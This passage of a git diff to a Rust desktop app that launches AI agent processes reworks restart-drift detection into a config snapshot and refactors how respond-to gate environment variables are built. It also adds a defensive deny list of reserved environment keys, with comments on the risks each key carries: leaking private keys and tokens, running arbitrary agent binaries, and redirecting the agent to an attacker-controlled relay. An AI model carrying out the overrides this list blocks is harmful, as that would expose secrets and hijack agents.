     start_nonce: String,
@@ -149,7 +149,7 @@ pub fn finish_spawn(
     super::ManagedAgentProcess {
         child,
         log_path,
-        spawn_config_hash,
+        spawn_config,
         setup_mode,
         adapter_availability,
         start_nonce,
diff --git a/desktop/src-tauri/src/managed_agents/readiness.rs b/desktop/src-tauri/src/managed_agents/readiness.rs
index fa8eb36fa1..c072448ff1 100644
--- a/desktop/src-tauri/src/managed_agents/readiness.rs
+++ b/desktop/src-tauri/src/managed_agents/readiness.rs
@@ -82,7 +82,7 @@ pub(crate) struct EffectiveAgentEnv {
 //
 // A single owned type that fully describes what a spawn would run.  Produced
 // by `resolve_effective_harness_descriptor` and consumed by spawn_agent_child,
-// spawn_config_hash, build_managed_agent_summary, get_agent_models, and
+// spawn_snapshot, build_managed_agent_summary, get_agent_models, and
 // agent_readiness — so the harness-definition lookup and arg/env resolution
 // happen exactly once, in one place.
 
@@ -1051,19 +1051,16 @@ mod tests {
             thinking_env_var: None,
             max_tokens_env_var: None,
             context_limit_env_var: None,
+            max_rounds_env_var: None,
             required_normalized_fields: &[],
             login_hint: None,
             auth_probe_args: None,
         }
     }
 
-    /// Returns the absolute path of the currently-running test binary as a
-    /// `&'static str`.  Host-portable stand-in for a "present" binary:
-    /// the path is absolute so `find_command` resolves it via `path.exists()`
-    /// rather than searching `PATH`, and the file always exists on the host.
-    ///
-    /// The tiny allocation is intentionally leaked — this runs at most once per
-    /// test process and the process exits immediately after tests complete.
+    /// Returns the absolute path of the currently-running test binary as a `&'static str`.
+    /// Host-portable stand-in for a "present" binary: absolute path so `find_command` resolves
+    /// it via `path.exists()`. Leaked allocation is intentional — process exits after tests.
     fn present_binary_str() -> &'static str {
         let path = std::env::current_exe().expect("current_exe must be available in tests");
         Box::leak(path.to_string_lossy().into_owned().into_boxed_str())
@@ -1246,6 +1243,7 @@ mod tests {
             thinking_env_var: None,
             max_tokens_env_var: None,
             context_limit_env_var: None,
+            max_rounds_env_var: None,
             required_normalized_fields: &[],
             login_hint: None,
             auth_probe_args: None,
diff --git a/desktop/src-tauri/src/managed_agents/reserved_env_keys.rs b/desktop/src-tauri/src/managed_agents/reserved_env_keys.rs
new file mode 100644
index 0000000000..8698d3a51d
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/reserved_env_keys.rs
@@ -0,0 +1,79 @@
+// Canonical reserved-env-key list, `include!`d into BOTH `build.rs`
+// (compile-time rejection of baked `BUZZ_BUILD_AGENT_ENV` collisions) and
+// `managed_agents/env_vars.rs` (save-time validation and spawn-time
+// filtering). Build scripts cannot import from the crate, so sharing the
+// source via `include!` is what guarantees the build-time check and the
+// runtime filter use one identical list — zero drift surface. See
+// `commands/reconnect_hook_config.rs` for the same pattern.
+//
+// Keep this file dependency-free: no crate-internal imports, no external
+// crates. Both consumers compile it as-is.
+
+/// Env var keys that Buzz sets itself and users must not override from
+/// the persona/agent env_vars UI. Three categories:
+///
+/// 1. **Identity / secrets** — overriding would swap the agent's nsec or
+///    leak credentials.
+/// 2. **Code-execution surface** — overriding the binary/args lets the
+///    user run arbitrary code as the agent process.
+/// 3. **Security gates** — overriding the respond-to mode/allowlist or
+///    relay URL would silently break the saved security settings (the UI
+///    shows owner-only while the running agent answers anyone, for
+///    example), or redirect the agent to an attacker-controlled relay.
+///
+/// This list is deliberately narrow — it only covers keys with security
+/// implications. Behavior knobs (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain freely
+/// overridable; those have dedicated UI fields but power users may want
+/// to bypass them.
+pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[
+    // Identity / secrets.
+    "BUZZ_PRIVATE_KEY",
+    "NOSTR_PRIVATE_KEY",
+    "BUZZ_AUTH_TAG",
+    "BUZZ_API_TOKEN",
+    "BUZZ_ACP_PRIVATE_KEY",
+    "BUZZ_ACP_API_TOKEN",
+    // Relay URL: overriding would let a malicious config redirect the
+    // agent to an attacker-controlled relay.
+    "BUZZ_RELAY_URL",
+    // Code-execution surface: overriding would let the user run arbitrary
+    // binaries/args as the agent process.
+    "BUZZ_ACP_AGENT_COMMAND",
+    "BUZZ_ACP_AGENT_ARGS",
+    "BUZZ_ACP_MCP_COMMAND",
+    // Control-plane parallelism: the Desktop resolves the effective
+    // worker-pool size (applying any per-harness cap) and writes it into
+    // launch.policy_env. A user-supplied BUZZ_ACP_AGENTS would bypass the
+    // harness cap and cause OpenClaw agents to spawn uncapped workers.
+    "BUZZ_ACP_AGENTS",
+    // Security gates: respond-to mode + allowlist + deployment allowlist +
+    // legacy owner-only fallback. Overriding would make the running agent's
+    // gate diverge from the saved/UI-visible settings.
+    "BUZZ_ACP_RESPOND_TO",
+    "BUZZ_ACP_RESPOND_TO_ALLOWLIST",
+    "BUZZ_ACP_ALLOWED_RESPOND_TO",
+    "BUZZ_ACP_AGENT_OWNER",
+    // Stable agent identity used for git attribution and private-conversation
+    // provenance must come from the managed-agent record, not user overrides.
+    "BUZZ_ACP_DISPLAY_NAME",
+    // Remote lifetime/presence policy: user env must not disable the
+    // desktop/provider-owned bounds while the saved record still promises them.
+    "BUZZ_ACP_EXIT_AFTER_INACTIVITY",
+    "BUZZ_ACP_NO_PRESENCE",
+    // Readiness handoff: desktop is the ONLY readiness source. A saved or
+    // ambient env var must not be able to forge setup mode (NotReady) on a
+    // Ready agent or suppress it (empty/stale payload) on a NotReady one.
+    "BUZZ_ACP_SETUP_PAYLOAD",
+    // Desktop ownership markers: these brand every spawned harness with the
+    // launching Desktop instance. A user-supplied override would let a
+    // definition masquerade as a different instance or fake the nonce used
+    // for same-session sweep decisions.
+    "BUZZ_MANAGED_AGENT",
+    "BUZZ_MANAGED_AGENT_START_NONCE",
+];
+
+pub(crate) fn is_reserved_env_key(key: &str) -> bool {
+    RESERVED_ENV_KEYS
+        .iter()
+        .any(|reserved| reserved.eq_ignore_ascii_case(key))
+}
diff --git a/desktop/src-tauri/src/managed_agents/restore.rs b/desktop/src-tauri/src/managed_agents/restore.rs
index 1910620159..25dadbeec6 100644
--- a/desktop/src-tauri/src/managed_agents/restore.rs
+++ b/desktop/src-tauri/src/managed_agents/restore.rs
@@ -18,7 +18,9 @@ use tauri::Manager;
 /// restore would kill reconcile's lazy child by its receipt and replace it with
 /// an eager one, flipping the pair's laziness on a startup race.
 enum SpawnOutcome {
-    Spawned(super::ManagedAgentRuntimeKey, ManagedAgentProcess),
+    /// Boxed: the spawned process carries its full spawn-config snapshot, so an
+    /// inline variant would make every `Skipped`/`Failed` outcome pay for it.
+    Spawned(super::ManagedAgentRuntimeKey, Box<ManagedAgentProcess>),
     Skipped,
     Failed(String),
 }
@@ -338,7 +340,9 @@ pub async fn restore_managed_agents_on_launch(
                                                 owner_hex_ref,
                                             )
                                         }) {
-                                        Ok(process) => SpawnOutcome::Spawned(key, process),
+                                        Ok(process) => {
+                                            SpawnOutcome::Spawned(key, Box::new(process))
+                                        }
                                         Err(error) => SpawnOutcome::Failed(error),
                                     }
                                 }
@@ -400,7 +404,7 @@ pub async fn restore_managed_agents_on_launch(
                 record.last_stopped_at = None;
                 record.last_exit_code = None;
                 record.last_error = None;
-                runtimes.insert(key, super::ManagedAgentPairRuntime::starting(process));
+                runtimes.insert(key, super::ManagedAgentPairRuntime::starting(*process));
                 successfully_spawned.push(pubkey);
             }
             SpawnOutcome::Failed(error) => {
diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs
index 37927961ed..ec804869c4 100644
--- a/desktop/src-tauri/src/managed_agents/runtime.rs
+++ b/desktop/src-tauri/src/managed_agents/runtime.rs
@@ -16,14 +16,14 @@ use crate::{
 
 mod path;
 pub(in crate::managed_agents) use path::build_augmented_path;
-pub(crate) use path::compose_path_entries;
-pub(crate) use path::should_skip_claude_executable;
-pub(crate) use path::should_use_inherited;
+pub(crate) use path::{compose_path_entries, should_skip_claude_executable, should_use_inherited};
+
+pub(crate) use super::access_policy::{build_respond_to_env_with_policy, RespondToEnv};
 
 mod metadata;
 pub(crate) use metadata::{
-    resolve_effective_prompt_model_provider, resolve_session_title, runtime_metadata_env_vars,
-    SESSION_TITLE_ENV_VAR,
+    apply_agent_display_env, resolve_session_title, runtime_metadata_env_vars,
+    DISPLAY_NAME_ENV_VAR, SESSION_TITLE_ENV_VAR,
 };
 
 mod stop;
@@ -33,8 +33,6 @@ pub use stop::{stop_managed_agent_process, stop_managed_agent_workspace_pair};
 mod sweep;
 pub(crate) use sweep::sweep_untracked_bundle_harnesses;
 
-type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>);
-
 mod process;
 #[cfg(test)]
 use process::{
@@ -226,49 +224,50 @@ pub fn build_managed_agent_summary(
         }
     };
 
-    // Restart badge: the running process stamped its effective spawn config
-    // at launch; recompute from current disk state and flag drift. Only the
-    // tracked live pair for THIS workspace can drift — stopped agents spawn
-    // fresh, adopted (runtime_pid-only) processes have no stamped hash to
-    // compare, and pairs running for other communities are judged in their
-    // own community (hashing them against this workspace's relay would flag
-    // a spurious restart on every community switch).
+    // Restart badge: the running process stamped the effective spawn config
+    // it was launched with; recompute a prospective one from current disk
+    // state and report every differing field. Only the tracked live pair for
+    // THIS workspace can drift — stopped agents spawn fresh, adopted
+    // (runtime_pid-only) processes have no stamp to compare, and pairs running
+    // for other communities are judged in their own community (comparing them
+    // against this workspace's relay would flag a spurious restart on every
+    // community switch).
     //
-    // Additionally, for runtimes with an adapter version gate (codex only),
-    // check whether the cached adapter availability has drifted from the value
-    // stamped at spawn.  This catches out-of-band adapter changes (manual
-    // npm install/downgrade) that Phase-1 auto-restart doesn't cover.  The
-    // cache is read-only here — no subprocess is spawned.
+    // Adapter-availability drift (codex only) contributes its own synthetic
+    // entry, so an out-of-band adapter change (manual npm install/downgrade)
+    // that Phase-1 auto-restart doesn't cover still shows the user what moved.
+    // The cache is read-only here — no subprocess is spawned.
     //
-    // Global config drives both the restart-drift hash and descriptor env
-    // layering below — the caller loads it once and passes it in, so
+    // Global config drives both the prospective snapshot and the descriptor
+    // env layering below — the caller loads it once and passes it in, so
     // list-style callers pay one disk read per call rather than one per record.
 
-    let needs_restart = pair_key
-        .as_ref()
-        .and_then(|key| runtimes.get(key).map(|runtime| (key, runtime)))
-        .is_some_and(|(key, runtime)| {
-            let teams_for_hash = crate::managed_agents::load_teams(app).unwrap_or_default();
-            let hash_drift = runtime.spawn_config_hash
-                != crate::managed_agents::spawn_hash::spawn_config_hash(
-                    record,
-                    personas,
-                    &teams_for_hash,
-                    &key.relay_url,
-                    global_config,
-                );
-            let availability_drift = super::availability_drift(
-                runtime.adapter_availability.as_ref(),
-                super::adapter_availability_cached(),
-            );
-            // An orphan can never be restarted successfully —
-            // `spawn_agent_child` refuses it before any process side effect —
-            // so `needs_restart` must never fire for one regardless of hash or
-            // availability drift. Surfacing "Restart required" here would offer
-            // an action guaranteed to fail; the UI shows `persona_orphaned`
-            // instead (see `ManagedAgentSummary::persona_orphaned`).
-            restart_eligible(persona_orphaned, hash_drift, availability_drift)
-        });
+    // The prospective side is computed only for a tracked pair: it costs a
+    // teams-store read, and an unstamped agent has nothing to compare against.
+    let tracked_spawn = pair_key.as_ref().zip(pair_runtime).map(|(key, runtime)| {
+        let teams = crate::managed_agents::load_teams(app).unwrap_or_default();
+        let current = crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot(
+            record,
+            personas,
+            &teams,
+            &key.relay_url,
+            global_config,
+        );
+        (runtime, current)
+    });
+    let restart_diff = crate::managed_agents::spawn_snapshot::eligible_restart_diff(
+        persona_orphaned,
+        tracked_spawn.as_ref().map(|(runtime, current)| {
+            crate::managed_agents::spawn_snapshot::TrackedSpawnState {
+                stamped: &runtime.spawn_config,
+                current,
+                stamped_availability: runtime.adapter_availability.as_ref(),
+                current_availability: super::adapter_availability_cached(),
+            }
+        }),
+    );
+    // One vector is the whole truth: badge on ⟺ there is a diff to show.
+    let needs_restart = !restart_diff.is_empty();
 
     // Resolve the effective harness via the single typed descriptor — same resolver
     // as spawn, so the UI reflects the persona's current harness (or explicit pin).
@@ -321,6 +320,7 @@ pub fn build_managed_agent_summary(
         persona_out_of_date,
         persona_orphaned,
         needs_restart,
+        restart_diff,
         env_vars: record.env_vars.clone(),
         backend: record.backend.clone(),
         backend_agent_id: record.backend_agent_id.clone(),
@@ -341,19 +341,6 @@ pub fn build_managed_agent_summary(
     })
 }
 
-/// Pure predicate: should the "Restart required" badge fire?
-///
-/// An orphaned linked instance (its persona/definition no longer exists)
-/// can never be restarted successfully — `spawn_agent_child` refuses to
-/// spawn it before any process side effect. Surfacing "Restart required"
-/// for one would offer an action guaranteed to fail, so this always
-/// returns `false` for an orphan regardless of drift. Extracted for unit
-/// testing without `AppHandle`/global state, following the
-/// `availability_drift` pattern in `discovery.rs`.
-fn restart_eligible(persona_orphaned: bool, hash_drift: bool, availability_drift: bool) -> bool {
-    !persona_orphaned && (hash_drift || availability_drift)
-}
-
 pub fn find_managed_agent_mut<'a>(
     records: &'a mut [ManagedAgentRecord],
     pubkey: &str,
@@ -381,44 +368,7 @@ pub(crate) fn build_respond_to_env(
     record: &ManagedAgentRecord,
     owner_hex: Option<&str>,
 ) -> Result<RespondToEnv, String> {
-    // Defensive re-validation: an on-disk record could have been hand-edited.
-    let normalized = super::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?;
-    if record.respond_to == super::types::RespondTo::Allowlist && normalized.is_empty() {
-        return Err(
-            "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(),
-        );
-    }
-
-    let mut set: Vec<(&'static str, String)> = Vec::new();
-    let mut remove: Vec<&'static str> = Vec::new();
-
-    set.push((
-        "BUZZ_ACP_RESPOND_TO",
-        record.respond_to.as_str().to_string(),
-    ));
-
-    if record.respond_to == super::types::RespondTo::Allowlist {
-        set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(",")));
-    } else {
-        remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST");
-    }
-
-    // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without
-    // it the harness can't resolve the owner, and owner-dependent gate modes
-    // would drop every event. Forwarding the workspace owner pubkey via
-    // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records
-    // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before.
-    if record.auth_tag.is_none() {
-        if let Some(owner) = owner_hex {
-            set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string()));
-        } else {
-            remove.push("BUZZ_ACP_AGENT_OWNER");
-        }
-    } else {
-        remove.push("BUZZ_ACP_AGENT_OWNER");
-    }
-
-    Ok((set, remove))
+    build_respond_to_env_with_policy(record, owner_hex, super::owner_only())
 }
 
 pub(crate) fn configure_runtime_cli(
@@ -474,7 +424,7 @@ pub fn spawn_agent_child(
     let global = crate::managed_agents::load_global_agent_config(app).unwrap_or_default();
 
     // Resolve model/provider/prompt ONCE, here, at the shared spawn boundary —
-    // the single source both the env writes below and `spawn_config_hash`
+    // the single source both the env writes below and the spawn-config snapshot
     // read from. Previously prompt was read from the record's own (possibly
     // stale, Phase-A-snapshot) bytes while model/provider were resolved live
     // from `personas`; a definition edit landing between a caller's snapshot
@@ -491,8 +441,9 @@ pub fn spawn_agent_child(
 
     // Single typed resolver: validates runtime id (dangling harness → Err), resolves
     // command, args (instance wins over definition default), and the full env layer stack.
-    // This is the sole path for harness-definition lookup — spawn, hash, summary, and
-    // model probes all consume this descriptor rather than assembling values inline.
+    // This is the sole path for harness-definition lookup — spawn, snapshot,
+    // summary, and model probes all consume this descriptor rather than
+    // assembling values inline.
     // Like the orphan refusal above, this runs before any side effect so a refused
     // spawn leaves no trace.
     let descriptor =
@@ -713,12 +664,9 @@ pub fn spawn_agent_child(
             );
         }
     }
-    // Only emit BUZZ_ACP_IDLE_TIMEOUT when the user has explicitly set an
-    // override. When unset, the buzz-acp harness applies its own default
-    // (see `DEFAULT_IDLE_TIMEOUT_SECS` in crates/buzz-acp/src/config.rs),
-    // which is the single source of truth. The previously-emitted
-    // `BUZZ_ACP_TURN_TIMEOUT` is deprecated upstream and was pinning every
-    // agent to the desktop's stale default (320s), bypassing harness bumps.
+    // Emit BUZZ_ACP_IDLE_TIMEOUT only when explicitly set; the harness
+    // DEFAULT_IDLE_TIMEOUT_SECS is the single source of truth. The deprecated
+    // BUZZ_ACP_TURN_TIMEOUT pinned agents to a stale default (320s).
     if let Some(idle) = record.idle_timeout_seconds {
         command.env("BUZZ_ACP_IDLE_TIMEOUT", idle.to_string());
     }
@@ -726,7 +674,8 @@ pub fn spawn_agent_child(
     if let Some(max_dur) = record.max_turn_duration_seconds {
         command.env("BUZZ_ACP_MAX_TURN_DURATION", max_dur.to_string());
     }
-    command.env("BUZZ_ACP_AGENTS", record.parallelism.to_string());
+    let acp_n = super::acp_agents_value(effective_command, record.parallelism);
+    command.env("BUZZ_ACP_AGENTS", acp_n);
     command.env("BUZZ_ACP_MULTIPLE_EVENT_HANDLING", "steer");
     command.env("BUZZ_ACP_DEDUP", "queue");
     if let Some(meta) = runtime_meta {
@@ -736,7 +685,7 @@ pub fn spawn_agent_child(
             }
         }
     }
-    let team_instructions = super::spawn_hash::effective_team_instructions(record, &teams);
+    let team_instructions = super::spawn_snapshot::effective_team_instructions(record, &teams);
     if let Some(instructions) = &team_instructions {
         command.env("BUZZ_ACP_TEAM_INSTRUCTIONS", instructions);
     } else {
@@ -744,8 +693,8 @@ pub fn spawn_agent_child(
     }
 
     // Prompt, model, and provider all come from the single `effective_cfg`
-    // resolved at the top of this function — the SAME resolve `spawn_config_hash`
-    // performs below, so env write and restart badge cannot disagree. Linked
+    // resolved at the top of this function — the SAME resolve the spawn-config
+    // snapshot reads, so env write and restart badge cannot disagree. Linked
     // instances never consult the record's own model/provider/prompt bytes;
     // definition-less instances fall back to their own fields, then global.
     //
@@ -771,13 +720,13 @@ pub fn spawn_agent_child(
     }
     // Session title for the harness to pass out-of-band on `session/new`. The
     // adapter names the session after it; it never reaches the prompt, so this
-    // is display metadata only. `spawn_config_hash` hashes the same resolve, so
-    // a rename raises the restart badge instead of leaving the process stale.
-    if let Some(title) = resolve_session_title(record.display_name.as_deref(), &record.name) {
-        command.env(SESSION_TITLE_ENV_VAR, title);
-    } else {
-        command.env_remove(SESSION_TITLE_ENV_VAR);
-    }
+    // is display metadata only. The spawn-config snapshot records the same
+    // resolve, so a rename raises the restart badge instead of leaving the
+    // process stale.
+    apply_agent_display_env(
+        &mut command,
+        resolve_session_title(record.display_name.as_deref(), &record.name),
+    );
     build_buzz_agent_provider_defaults(&mut command);
     if let Some(meta) = runtime_meta {
         for (key, value) in runtime_metadata_env_vars(
@@ -882,6 +831,22 @@ pub fn spawn_agent_child(
         .env("BUZZ_MANAGED_AGENT", current_instance_id(app))
         .env("BUZZ_MANAGED_AGENT_START_NONCE", &start_nonce);
 
+    // Stamp the effective spawn config from the values that populated the
+    // `Command` above, BEFORE spawning. Re-resolving after `spawn()` would let
+    // a persona/harness/global edit landing in between stamp the NEW config
+    // onto a child running the OLD one, silently suppressing the badge.
+    let spawn_config = super::spawn_snapshot::SpawnConfigSnapshot::from_inputs(
+        super::spawn_snapshot::SpawnConfigInputs {
+            record,
+            descriptor: &descriptor,
+            relay_url: &effective_relay_url,
+            team_instructions: team_instructions.as_deref(),
+            system_prompt: effective_prompt.as_deref(),
+            model: effective_model.as_deref(),
+            provider: effective_provider.as_deref(),
+        },
+    );
+
     // Spawn the harness in its own process group so we can kill the entire
     // tree (harness + MCP servers + agent subprocesses) on shutdown.
     #[cfg(unix)]
@@ -907,18 +872,6 @@ pub fn spawn_agent_child(
         )
     })?;
 
-    // Stamp the effective spawn config so the summary builder can flag
-    // needs_restart when disk state drifts from what this process runs.
-    // `effective_relay_url` is already resolved, and resolution is idempotent,
-    // so it serves as the workspace-relay input here.
-    let spawn_config_hash = super::spawn_hash::spawn_config_hash(
-        record,
-        &personas,
-        &teams,
-        &effective_relay_url,
-        &global,
-    );
-
     // Stamp the adapter availability for runtimes with a version gate (codex
     // only). The summary builder compares this against the current cached value
     // to detect out-of-band adapter changes after spawn (Phase-2 badge fallback).
@@ -941,7 +894,7 @@ pub fn spawn_agent_child(
     return Ok(super::process_lifecycle::finish_spawn(
         child,
         log_path,
-        spawn_config_hash,
+        spawn_config,
         spawned_setup_mode,
         spawned_adapter_availability,
         start_nonce,
@@ -951,7 +904,7 @@ pub fn spawn_agent_child(
     Ok(crate::managed_agents::ManagedAgentProcess {
         child,
         log_path,
-        spawn_config_hash,
+        spawn_config,
         setup_mode: spawned_setup_mode,
         adapter_availability: spawned_adapter_availability,
         start_nonce,
@@ -1023,5 +976,8 @@ pub fn start_managed_agent_process(
     Ok(())
 }
 
+#[cfg(test)]
+mod test_fixtures;
+
 #[cfg(test)]
 mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/runtime/metadata.rs b/desktop/src-tauri/src/managed_agents/runtime/metadata.rs
index 288ce06b0a..5aef424ea6 100644
--- a/desktop/src-tauri/src/managed_agents/runtime/metadata.rs
+++ b/desktop/src-tauri/src/managed_agents/runtime/metadata.rs
@@ -25,8 +25,25 @@ pub(crate) fn runtime_metadata_env_vars<'a>(
 }
 
 /// Env var carrying the session title to the harness. Shared with
-/// `spawn_hash` so the restart badge hashes the same key the spawn writes.
+/// `spawn_snapshot` so the restart badge records the same key the spawn writes.
 pub(crate) const SESSION_TITLE_ENV_VAR: &str = "BUZZ_ACP_SESSION_TITLE";
+/// Stable agent display name forwarded to the ACP tool surface for git
+/// attribution and private-conversation provenance.
+pub(crate) const DISPLAY_NAME_ENV_VAR: &str = "BUZZ_ACP_DISPLAY_NAME";
+
+/// Apply the shared stable agent name to both session display metadata and
+/// git attribution, clearing both keys when no usable name is available.
+pub(crate) fn apply_agent_display_env(command: &mut std::process::Command, title: Option<String>) {
+    if let Some(title) = title {
+        command
+            .env(SESSION_TITLE_ENV_VAR, &title)
+            .env(DISPLAY_NAME_ENV_VAR, title);
+    } else {
+        command
+            .env_remove(SESSION_TITLE_ENV_VAR)
+            .env_remove(DISPLAY_NAME_ENV_VAR);
+    }
+}
 
 /// Resolve the session title for an agent: its `display_name` when it has one,
 /// otherwise its unique `name` handle. `None` when both are blank, so the
@@ -57,32 +74,6 @@ pub(crate) fn resolve_session_title(display_name: Option<&str>, name: &str) -> O
         .find(|value| !value.is_empty())
 }
 
-/// Resolve effective prompt/model/provider using definition-authoritative
-/// semantics for linked instances.
-///
-/// Used by `agent_config.rs` to inject persona defaults into the config surface
-/// before running the reader.
-pub(crate) fn resolve_effective_prompt_model_provider(
-    persona_id: Option<&str>,
-    personas: &[crate::managed_agents::types::AgentDefinition],
-    record_prompt: Option<String>,
-    record_model: Option<String>,
-    record_provider: Option<String>,
-) -> (Option<String>, Option<String>, Option<String>) {
-    match persona_id.and_then(|pid| personas.iter().find(|p| p.id == pid)) {
-        Some(p) => {
-            fn non_blank(v: Option<&str>) -> Option<String> {
-                v.filter(|s| !s.trim().is_empty()).map(str::to_owned)
-            }
-            let prompt = non_blank(Some(&p.system_prompt));
-            let model = non_blank(p.model.as_deref());
-            let provider = non_blank(p.provider.as_deref());
-            (prompt, model, provider)
-        }
-        None => (record_prompt, record_model, record_provider),
-    }
-}
-
 #[cfg(test)]
 mod tests {
     use super::resolve_session_title;
diff --git a/desktop/src-tauri/src/managed_agents/runtime/test_fixtures.rs b/desktop/src-tauri/src/managed_agents/runtime/test_fixtures.rs
new file mode 100644
index 0000000000..9836d983ed
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/runtime/test_fixtures.rs
@@ -0,0 +1,93 @@
+use crate::managed_agents::types::{ManagedAgentRecord, RespondTo};
+
+pub(super) const EXPECTED_ACCESS_ENV: &str = "BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY";
+
+pub(super) fn expected_owner_only() -> bool {
+    match std::env::var(EXPECTED_ACCESS_ENV) {
+        Ok(value) => value
+            .parse::<bool>()
+            .unwrap_or_else(|_| panic!("{EXPECTED_ACCESS_ENV} must be true or false")),
+        Err(std::env::VarError::NotPresent)
+            if !crate::managed_agents::owner_only_access_build() =>
+        {
+            false
+        }
+        Err(std::env::VarError::NotPresent) => {
+            panic!("{EXPECTED_ACCESS_ENV} must be set for owner-only-access-build tests")
+        }
+        Err(std::env::VarError::NotUnicode(_)) => {
+            panic!("{EXPECTED_ACCESS_ENV} must be valid UTF-8")
+        }
+    }
+}
+
+pub(super) fn expected_mode(oss_mode: &'static str) -> &'static str {
+    if expected_owner_only() {
+        "owner-only"
+    } else {
+        oss_mode
+    }
+}
+
+/// Construct a minimal record fixture for runtime tests.
+pub(super) fn fixture(
+    respond_to: RespondTo,
+    allowlist: Vec<String>,
+    auth_tag: Option<String>,
+) -> ManagedAgentRecord {
+    ManagedAgentRecord {
+        pubkey: "p".into(),
+        name: "n".into(),
+        persona_id: None,
+        private_key_nsec: "nsec1fake".into(),
+        auth_tag,
+        relay_url: "ws://localhost:3000".into(),
+        avatar_url: None,
+        acp_command: "buzz-acp".into(),
+        agent_command: "goose".into(),
+        agent_command_override: None,
+        agent_args: vec![],
+        mcp_command: String::new(),
+        turn_timeout_seconds: 320,
+        idle_timeout_seconds: None,
+        max_turn_duration_seconds: None,
+        parallelism: 1,
+        system_prompt: None,
+        model: None,
+        provider: None,
+        persona_source_version: None,
+        env_vars: std::collections::BTreeMap::new(),
+        start_on_app_launch: false,
+        auto_restart_on_config_change: true,
+        runtime_pid: None,
+        backend: Default::default(),
+        backend_agent_id: None,
+        provider_binary_path: None,
+        team_id: None,
+        persona_team_dir: None,
+        persona_name_in_team: None,
+        created_at: "now".into(),
+        updated_at: "now".into(),
+        last_started_at: None,
+        last_stopped_at: None,
+        last_exit_code: None,
+        last_error: None,
+        last_error_code: None,
+        respond_to,
+        respond_to_allowlist: allowlist,
+        display_name: None,
+        slug: None,
+        runtime: None,
+        name_pool: Vec::new(),
+        is_builtin: false,
+        is_active: true,
+        shared: false,
+        source_team: None,
+        source_team_persona_slug: None,
+        catalog_source: None,
+        definition_respond_to: None,
+        definition_respond_to_allowlist: Vec::new(),
+        definition_parallelism: None,
+        relay_mesh: None,
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/runtime/tests.rs b/desktop/src-tauri/src/managed_agents/runtime/tests.rs
index 3f6ee996f6..762b0fe2a6 100644
--- a/desktop/src-tauri/src/managed_agents/runtime/tests.rs
+++ b/desktop/src-tauri/src/managed_agents/runtime/tests.rs
@@ -117,73 +117,10 @@ fn unknown_command_returns_none() {
 
 // ── build_respond_to_env tests ───────────────────────────────────────
 
-use super::build_respond_to_env;
+use super::test_fixtures::{expected_mode, expected_owner_only, fixture};
+use super::{build_respond_to_env, build_respond_to_env_with_policy};
 use crate::managed_agents::types::{ManagedAgentRecord, RespondTo};
 
-/// Construct a minimal record fixture for env-building tests. Only the
-/// fields read by `build_respond_to_env` matter here.
-fn fixture(
-    respond_to: RespondTo,
-    allowlist: Vec<String>,
-    auth_tag: Option<String>,
-) -> ManagedAgentRecord {
-    ManagedAgentRecord {
-        pubkey: "p".into(),
-        name: "n".into(),
-        persona_id: None,
-        private_key_nsec: "nsec1fake".into(),
-        auth_tag,
-        relay_url: "ws://localhost:3000".into(),
-        avatar_url: None,
-        acp_command: "buzz-acp".into(),
-        agent_command: "goose".into(),
-        agent_command_override: None,
-        agent_args: vec![],
-        mcp_command: String::new(),
-        turn_timeout_seconds: 320,
-        idle_timeout_seconds: None,
-        max_turn_duration_seconds: None,
-        parallelism: 1,
-        system_prompt: None,
-        model: None,
-        provider: None,
-        persona_source_version: None,
-        env_vars: std::collections::BTreeMap::new(),
-        start_on_app_launch: false,
-        auto_restart_on_config_change: true,
-        runtime_pid: None,
-        backend: Default::default(),
-        backend_agent_id: None,
-        provider_binary_path: None,
-        team_id: None,
-        persona_team_dir: None,
-        persona_name_in_team: None,
-        created_at: "now".into(),
-        updated_at: "now".into(),
-        last_started_at: None,
-        last_stopped_at: None,
-        last_exit_code: None,
-        last_error: None,
-        last_error_code: None,
-        respond_to,
-        respond_to_allowlist: allowlist,
-        display_name: None,
-        slug: None,
-        runtime: None,
-        name_pool: Vec::new(),
-        is_builtin: false,
-        is_active: true,
-        shared: false,
-        source_team: None,
-        source_team_persona_slug: None,
-        catalog_source: None,
-        definition_respond_to: None,
-        definition_respond_to_allowlist: Vec::new(),
-        definition_parallelism: None,
-        relay_mesh: None,
-    }
-}
-
 #[test]
 fn build_env_owner_only_sets_mode_and_removes_others() {
     let rec = fixture(RespondTo::OwnerOnly, vec![], Some("tag".into()));
@@ -195,6 +132,18 @@ fn build_env_owner_only_sets_mode_and_removes_others() {
     );
     assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST"));
     assert!(remove.contains(&"BUZZ_ACP_RESPOND_TO_ALLOWLIST"));
+    if expected_owner_only() {
+        assert_eq!(
+            set_map
+                .get("BUZZ_ACP_ALLOWED_RESPOND_TO")
+                .map(String::as_str),
+            Some("owner-only")
+        );
+        assert!(!remove.contains(&"BUZZ_ACP_ALLOWED_RESPOND_TO"));
+    } else {
+        assert!(!set_map.contains_key("BUZZ_ACP_ALLOWED_RESPOND_TO"));
+        assert!(remove.contains(&"BUZZ_ACP_ALLOWED_RESPOND_TO"));
+    }
     // auth_tag is present → no AGENT_OWNER fallback fires.
     assert!(remove.contains(&"BUZZ_ACP_AGENT_OWNER"));
 }
@@ -214,14 +163,19 @@ fn build_env_allowlist_sets_both_envs_and_joins() {
     let set_map: std::collections::HashMap<_, _> = set.into_iter().collect();
     assert_eq!(
         set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str),
-        Some("allowlist")
-    );
